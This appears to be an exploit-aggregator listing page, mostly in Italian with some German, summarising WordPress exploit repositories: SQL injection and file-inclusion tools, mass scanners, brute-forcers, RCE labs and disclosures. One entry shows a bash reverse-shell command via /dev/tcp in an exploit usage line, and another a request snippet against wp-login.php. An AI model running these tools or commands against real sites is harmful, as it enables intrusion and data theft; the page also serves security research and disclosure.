CVE-2025-4380

CVE-2025-4380 - Plugin Ads Pro = 4.89 - Exploit di Local File Inclusion LFI Descrizione Questo exploit in Python prende di mira il plugin Ads Pro ≤ 4.89 per WordPress, vulnerabile a Local File Inclusion LFI tramite l'azione AJAX bsapreviewcallback. Un attaccante non autenticato può sfruttare ques...

wordpress-jetpack-broken-access-control-exploit

wordpress-jetpack-broken-access-control-exploit Questo è un programma Python3 che sfrutta la vulnerabilità di controllo degli accessi non corretto broken access control di Jetpack 13.9.1 CVE-2024-9926. DICHIARAZIONE DI NON RESPONSABILITÀ Questo strumento è destinato a ingegneri della sicurezza e...

CVE-2026-64638

🛡️ CVE-2026-64638 - XSS2Shell XSS riflesso pre-autenticazione di WordPress con potenziale escalation a esecuzione di codice PHP 📌 Panoramica CVE-2026-64638 è una vulnerabilità ad alta severità di tipo Cross-Site Scripting XSS riflesso pre-autenticazione che interessa la schermata di accesso di...

CVE-2026-60137

wpsqli - Estrattore SQLi per WordPress CVE-2026-60137 Uno strumento veloce e guidato da menu per l'estrazione di database che sfrutta la vulnerabilità di SQL injection authornotin nel core di WordPress. Questo strumento si concentra esclusivamente sull'enumerazione e sul dump del database,...

CVE-2026-64638

CVE-2026-64638 CVE-2026-64638 prova rapida root@kitploit: import requests target = "http://127.0.0.1:9000/wp-login.php" payload = 'X' response = requests.posttarget, data="log": payload, "pwd": "x", timeout=5 printresponse.statuscode printresponse.text oppure root@kitploit: POST /wp-login.php...

WSS

WSS: Scanner di Sicurezza WordPress Supporto Python : 3.13.x Supporto sistemi operativi : Kali Linux ultima versione Ubuntu ultima versione Windows 10, 11 WSS:In modalità di sviluppo!!! Google Dorks ATTENZIONE! Ogni azione malevola da parte tua sarà di tua responsabilità! root@kitploit: index of"...

CVE-2026-48907

CVE-2026-48907 Description Questo file CVE-2025-9209.py è uno strumento di sfruttamento di massa che prende di mira la vulnerabilità CVE-2025-9209. Funzionalità principali: Scansiona un elenco di siti tramite chiamata /wp-json/wp/v2/users Analizza la risposta per cercare dati utente sensibili com...

CVE-2026-3844-Lab

CVE-2026-3844 — Lab RCE per upload arbitrario di file non autenticato in Breeze Cache Lab Docker solo locale per riprodurre e confrontare il comportamento della CVE-2026-3844 nel plugin WordPress Breeze Cache. Questo repository dimostra il comportamento vulnerabile in Breeze Cache 2.4.4 e lo...

cve-2021-38314

CVE-2021-38314 Exploit Python Dettagli Il plugin Gutenberg Template Library & Redux Framework = 4.2.11 per WordPress registrava diverse azioni AJAX disponibili agli utenti non autenticati nella funzione includes in redux-core/class-redux-core.php, uniche per un dato sito ma deterministiche e...

wpbf

WPBF - ein multithreaded WP Brute-Forcer WPBF Verwendung: python wpbf.py siteslist passwordlist outputfile Standardmäßig sind andere Einstellungen: user = 'admin' numthreads = 50 timeout = 3 verbose = True debug = False Sie können diese ändern, indem Sie das Skript bearbeiten...

CVE-2026-42647-Lab

CVE-2026-42647 - JoomSport Unautehentifizierte zeitbasierte Blind SQL Injection über sortf Executive Summary Dieses Repository enthält ein lokales Docker-Labor zur Reproduktion und Validierung von CVE-2026-42647, einer unauthentifizierten SQL-Injection-Schwachstelle, die das WordPress-Plugin...

CVE-2026-2942

ProSolution WP Client — Scanner per Upload di File Non Autenticato e RCE Plugin: prosolution-wp-client Versione Affetta: Tipo di Vulnerabilità: Upload Arbitrario di File Non Autenticato → Esecuzione di Codice Remoto Livello di Rischio: 🔴 Critico CVSS 9.8 Requisito: pagina pubblica contenente lo...

CVE-2026-48866

php // deletephysicalfile — WITH validation $filepath = self::getphysicalfilepath $url, $entryid ; $filepath = applyfilters 'gformfilepathpredeletefile', $filepath, $url ; // NEW: verify path is in uploads if ! GFCommon::isfileinuploads$url GFCommon::logdebugMETHOD . sprintf': Not del...

CVE-2025-12139-WordPress-Integrate-Google-Drive-Exploit

CVE-2025-12139: Plugin WordPress Integrate Google Drive - Exploit di Divulgazione di Informazioni Descrizione Questo è un exploit Proof of Concept PoC in Golang per CVE-2025-12139. La vulnerabilità è presente nel plugin Integrate Google Drive versioni = 1.5.3 per WordPress. Consente ad attaccanti...

wordpress-bf

wordpress-bf Questo è uno strumento per enumerare gli autori di un blog WordPress e tentare di forzare gli accessi. Non è completo, ma funziona. Se noti del codice orribile, invia una PR per sistemarlo! Scriverà l'URL, l'utente e la password in un file di testo chiamato found.txt Terminerà appena...

CVE-2023-26326_Buddyform_exploit

usage: python exploit.py "/wp-admin/admin-ajax.php" 'bash -c "bash -i & /dev/tcp// 0&1"' Inizialmente, CVE-2023–26326 richiedeva catene di gadget per essere sfruttata come vulnerabilità di deserializzazione. Questo metodo non è più fattibile sui siti WordPress più recenti che eseguono PHP 8+;...

Flo-Forms-CVE-Report

Flo-Forms-CVE-Report Divulgazione per CVE-2025-13159 CVE-2025-13159 - Vulnerabilità in Flo Forms – Easy Drag & Drop Form Builder Questo repository divulga una vulnerabilità scoperta in Flo Forms – Easy Drag & Drop Form Builder = 1.0.43, plugin WordPress sviluppato da flothemesplugins. 🛠 Versione...

CVE-2024-7703

Exploit CVE-2024-7703: Cross-Site Scripting XSS Memorizzato tramite Caricamento di File SVG nel Plugin WordPress ARMember Panoramica Questo repository contiene un proof-of-concept PoC per la vulnerabilità identificata come CVE-2024-7703. La vulnerabilità riguarda il Plugin WordPress ARMember, in...

CVE-2025-4396

CVE-2025-4396 - Toolkit per la SQL Injection Blind Basata sul Tempo in WordPress Relevanssi Panoramica Questa repository contiene un toolkit pratico di ricerca e validazione per CVE-2025-4396 , una SQL Injection Blind basata sul tempo non autenticata che colpisce il plugin WordPress Relevanssi...

CVE-2026-6279

CVE-2026-6279 Avada Builder = 3.15.2 — Unauthenticated RCE via calluserfunc ohne Allowlist Zusammenfassung der Schwachstelle Schwachstelle Remote Code Execution RCE ohne Authentifizierung im Plugin Avada Builder Fusion Builder Version = 3.15.2, verwendet im WordPress-Theme Avada — einem der...